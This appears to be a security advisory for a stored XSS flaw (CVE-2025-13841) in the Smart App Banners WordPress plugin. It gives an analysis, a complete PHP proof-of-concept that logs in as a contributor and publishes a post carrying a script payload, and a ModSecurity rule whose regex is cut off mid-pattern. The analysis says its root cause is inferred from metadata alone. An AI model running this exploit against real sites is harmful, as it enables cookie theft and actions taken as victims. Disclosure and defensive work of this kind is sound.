CVE-2025-13841: Smart App Banners <= 1.2 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'size' and 'verticalalign' Shortcode Attributes (smart-app-banners)

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2025-13841 (metadata-based):nThe Smart App Banners WordPress plugin version 1.2 contains an authenticated stored cross-site scripting vulnerability. Attackers with Contributor-level permissions or higher can inject arbitrary JavaScript via the ‘size’ and ‘verticalalign’ attributes of the ‘app-store-download’ shortcode. This script executes when users view pages containing the malicious shortcode.nnAtomic Edge research identifies the root cause as insufficient input sanitization and output escaping. The plugin likely accepts user-supplied shortcode attribute values without proper validation. These values are then rendered directly in page output without adequate escaping. This inference stems from the CWE-79 classification and the vulnerability description referencing both insufficient sanitization and missing output escaping. No code diff confirms these exact mechanisms.nnExploitation requires Contributor-level access to WordPress. Attackers create or edit posts containing the vulnerable shortcode with malicious attribute values. The payload executes in victims’ browsers when they view the compromised page. A typical attack uses the shortcode: [app-store-download size=”alert(document.cookie)” verticalalign=”normal”]. The plugin processes these attributes during shortcode rendering, embedding the unsanitized values into the page HTML.nnRemediation requires implementing proper input validation and output escaping. The plugin should sanitize shortcode attributes using WordPress functions like `sanitize_text_field()` during input processing. Output escaping should use `esc_attr()` for HTML attributes. WordPress shortcode API functions like `shortcode_atts()` with sanitization callbacks provide a secure framework. The patch must apply these measures to both ‘size’ and ‘verticalalign’ parameters.nnSuccessful exploitation leads to client-side code execution in victims’ browsers. Attackers can steal session cookies, perform actions as the victim user, or deface website content. The stored nature means a single injection affects all users viewing the compromised page. Contributor-level access requirement limits immediate impact, but compromised contributor accounts or privilege escalation chains enable widespread XSS attacks.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Concept (metadata-based)n// CVE-2025-13841 – Smart App Banners <= 1.2 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'size' and 'verticalalign' Shortcode Attributesn<?phpn/**n * Proof of Concept for CVE-2025-13841n * Assumptions:n * 1. Target site uses WordPress with Smart App Banners plugin <= 1.2n * 2. Attacker has valid Contributor credentialsn * 3. Plugin shortcode 'app-store-download' is enabledn * 4. Standard WordPress REST API endpoints are availablen */nn$target_url = 'https://example.com'; // CHANGE THISn$username = 'contributor_user'; // CHANGE THISn$password = 'contributor_pass'; // CHANGE THISnn// Payload to inject via shortcode attributesn$payload = 'alert(document.domain)’;nn// Step 1: Authenticate and obtain nonce via REST APIn$auth_url = $target_url . ‘/wp-json/jwt-auth/v1/token’;n$auth_data = array(n ‘username’ => $username,n ‘password’ => $passwordn);nn$ch = curl_init($auth_url);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($auth_data));ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(‘Content-Type: application/json’));n$auth_response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnif ($http_code !== 200) {n die(“Authentication failed. Check credentials and JWT plugin availability.”);n}nn$auth_data = json_decode($auth_response, true);n$token = $auth_data[‘token’] ?? ”;nif (empty($token)) {n die(“Could not retrieve authentication token.”);n}nn// Step 2: Create a new post with malicious shortcoden$post_url = $target_url . ‘/wp-json/wp/v2/posts’;n$post_data = array(n ‘title’ => ‘Test Post with XSS’,n ‘content’ => ‘[app-store-download size=”‘ . $payload . ‘” verticalalign=”top”]’,n ‘status’ => ‘publish’n);nn$ch = curl_init($post_url);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(n ‘Content-Type: application/json’,n ‘Authorization: Bearer ‘ . $tokenn));n$post_response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnif ($http_code === 201) {n $post = json_decode($post_response, true);n echo “Exploit successful. Post created at: ” . $post[‘link’] . “\n”;n echo “Visit the page to trigger the XSS payload.\n”;n} else {n echo “Post creation failed. HTTP Code: ” . $http_code . “\n”;n echo “Response: ” . $post_response . “\n”;n}n?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2025-13841 (metadata-based)n# Targets POST requests containing the vulnerable shortcode with malicious attributesnSecRule REQUEST_METHOD “@streq POST” \n “id:10013841,phase:2,deny,status:403,chain,msg:’CVE-2025-13841: Smart App Banners Stored XSS via shortcode attributes’,severity:’CRITICAL’,tag:’CVE-2025-13841′,tag:’WordPress’,tag:’Plugin’,tag:’XSS'”n SecRule REQUEST_URI “@rx /wp-admin/post\.php$” “chain”n SecRule REQUEST_BODY “@rx \[app-store-download[^\]]*(size|verticalalign)\s*=\s*[‘\”]?[^’\”>]*[]”
}
“`